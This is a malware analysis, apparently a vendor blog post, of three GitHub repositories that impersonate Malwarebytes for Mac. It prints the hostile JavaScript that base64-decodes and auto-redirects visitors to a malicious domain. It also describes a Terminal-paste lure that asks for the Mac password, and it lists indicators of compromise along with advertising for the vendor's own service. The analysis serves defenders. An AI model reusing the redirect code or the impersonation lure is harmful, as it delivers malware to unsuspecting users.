GitHub account BehemothAgent, created Jul 5, 2026, hosts three repositories named malwarebytes, malwarebytes-antivirus, and antivirus-malwarebytes. All three share file-identical contents: a fake macOS installer page in index.html, a redirect payload in script.js, an SEO-stuffed LICENSE.md impersonating Malwarebytes antivirus, and a matching style.css. The three repos were created within five minutes of each other on Jul 16, 2026 via the GitHub web upload interface. A fourth repository, fqroehfg, contains only a default README and predates the campaign by eleven days.
The artifacts
The BehemothAgent account registered on Jul 5, 2026 and created fqroehfg the same day. Eleven days later, three Malwarebytes-impersonating repositories appeared in rapid sequence:
| Repository | Created (UTC+3) | Commit SHA |
|---|---|---|
malwarebytes | Jul 16, 23:02 | e990749 |
malwarebytes-antivirus | Jul 16, 23:04 | (identical files) |
antivirus-malwarebytes | Jul 16, 23:06 | (identical files) |
All three carry the same GitHub description: “Download free Malwarebytes for Mac — Powerful antivirus software with real-time malware protection, ransomware defense, smart threat detection, enhanced privacy security, and optimized performance for the latest macOS versions.” Each repo holds four files totaling 27,744 bytes. The SHA-256 hashes match across all three copies.
The malwarebytes repo carries a git tag Malwerebytes, misspelling the brand name it impersonates.
What it does
Path 1: the fake installer page. index.html (6,563 bytes) renders a full-screen macOS-style window with Apple window-control dots, a centered Apple logo, a progress bar, and trust badges reading “Verified,” “Secure,” and “Private.” Side panels display fabricated stats: “Military Grade” encryption, “99.99%” uptime, “No ads,” “Open source.” The page title is set to macOS Installer · GitHub, designed to blend into a GitHub browsing session.
script.js (3,240 bytes) drives the progress bar from 0% to 100% with simulated speed and ETA counters. On completion, the completeDownload function on line 79 decodes a base64 string and redirects the browser:
const encodedUrl = 'aHR0cHM6Ly9jbG91ZG1oYXguY29tL2thbmdlcnJpLw==';
const url = atob(encodedUrl);
setTimeout(function() {
window.location.href = url;
}, 200);The decoded URL is hxxps://cloudmhax[.]com/kangerri/. The visitor never clicks a button. The redirect fires automatically 200 milliseconds after the progress bar completes.
Path 2: the SEO-laced README. LICENSE.md (8,312 bytes) is not a license. GitHub renders it as the repository’s README when no README.md is present and a LICENSE.md exists. The file is 134 lines of fabricated product marketing for “Malwarebytes Antivirus 2026 for Mac,” including a compatibility table, a feature list, an explicit SEO keyword section (malwarebytes Antivirus 2026 Mac, malwarebytes Mac download 2026, AI antivirus macOS, best antivirus for Mac 2026), and two download links pointing to malwarebytes-antivirus[.]github[.]io/malwarebytes/ (this GitHub Pages site returned 404 at the time of analysis).
The LICENSE.md includes a six-step “Quickstart” section instructing visitors to open Terminal, paste a command from the installer page, and enter their Mac password. Terminal paste attacks are a documented macOS malware delivery technique: the victim copies a command from a web page, pastes it into Terminal, and authenticates the execution with their system password, granting the payload full user-level (or root) access.
The file references a GitHub user-attachments image (e594d874-6187-40a6-ab2f-dc454c214847) as a fake product screenshot.
The campaign
Three repository names saturate GitHub search results for “malwarebytes”: the base name, a <product>-<category> variant, and a <category>-<product> variant. The three-name pattern is a deliberate SEO strategy. GitHub indexes repository names, descriptions, and rendered README content, so three identical repos with keyword-rich descriptions and an 8 KB keyword-stuffed README multiply the surface area for organic search traffic. The naming pattern also matches how users search for software variants (“malwarebytes antivirus” vs. “antivirus malwarebytes”).
The five-minute creation window, identical file contents, shared commit author email, and single redirect endpoint connect the three repos to one operation. The earlier fqroehfg repository (created the same day as the account, eleven days before the campaign) is likely a test repo created during account setup.
The commit timestamps carry a UTC+3 offset.
Why the operation matters here
Blocking one repository name leaves two identical copies live. The redirect domain cloudmhax[.]com is the single chokepoint: all three repositories, regardless of which discovery path a visitor follows, converge on the same /kangerri/ path. Defenders who block the domain at the network level neutralize all three repos and the defunct GitHub Pages variant simultaneously.
The GitHub Pages host malwarebytes-antivirus[.]github[.]io returned 404 at analysis time, but the three source repositories remain live and continue to redirect through script.js.
What a defender can do
Block cloudmhax[.]com at the DNS or proxy level. Report all three repositories and the BehemothAgent account to GitHub for trademark impersonation and malware distribution. Monitor for new repositories created under the same account or referencing the same redirect domain. Warn users that macOS installer pages hosted on GitHub that auto-redirect or instruct Terminal paste commands are a known delivery technique. Repository stars and trust badges in the HTML are not indicators of legitimacy, and neither is an “Open source” label in a sidebar widget.
Where Aephix fits
The three repository names are designed to appear separately in search results, but the files inside them are identical, right down to the base64-encoded redirect. Recognizing the operation behind one of them covers all three. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth carries the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week, grouped by the operations behind them with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.
Indicators of compromise
| Type | Value |
|---|---|
| GitHub account | BehemothAgent |
| Repository | BehemothAgent/malwarebytes |
| Repository | BehemothAgent/malwarebytes-antivirus |
| Repository | BehemothAgent/antivirus-malwarebytes |
| Redirect domain | cloudmhax[.]com |
| Redirect URL | hxxps://cloudmhax[.]com/kangerri/ |
| GitHub Pages URL | malwarebytes-antivirus[.]github[.]io/malwarebytes/ (404) |
| Base64 payload | aHR0cHM6Ly9jbG91ZG1oYXguY29tL2thbmdlcnJpLw== |
| Git tag | Malwerebytes (misspelled) |
| Commit email | braffdurocher11[@]gmail[.]com |
| SHA-256 index.html | c77a41062340ffd790922256c80c9f733cc78c04240eacf2db939077217a28f0 |
| SHA-256 script.js | 7172827fbea713e543657c7008e0ff7fa07a37c0a6ce50bb1f383c1d642742aa |
| SHA-256 style.css | e5044b506bee35b3ce515bb8e3c031ca404fca7c8ff4db6f54bad9cbb1b9ea88 |
| SHA-256 LICENSE.md | e6f3e8306ce155fc51dfe875e71ae3c5a450ab6df0196fee602617a231dd1f9b |
| GitHub asset ref | e594d874-6187-40a6-ab2f-dc454c214847 |